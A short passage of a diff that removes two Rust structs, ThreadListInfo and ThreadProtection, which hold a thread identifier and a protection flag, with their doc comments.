thread, typically for enumeration or tracking. -#[repr(C)] -#[derive(Debug)] -pub struct ThreadListInfo { - /// The thread identifier (TID) of the thread. - pub tids: usize, -} - -/// Stores information about whether a thread is protected. -/// -/// This struct holds the thread identifier (TID) and a flag indicating whether the thread -/// is protected or not. It can be used to manage or toggle protection mechanisms for a thread. -#[repr(C)] -#[derive(Debug)] -pub struct ThreadProtection { - /// The thread identifier (TID) of the thread to be protected. - pub tid: usize, - - /// A boolean flag indicating whether the thread is protected (`true`) or unprotected (`false`). - pub enable: bool, -}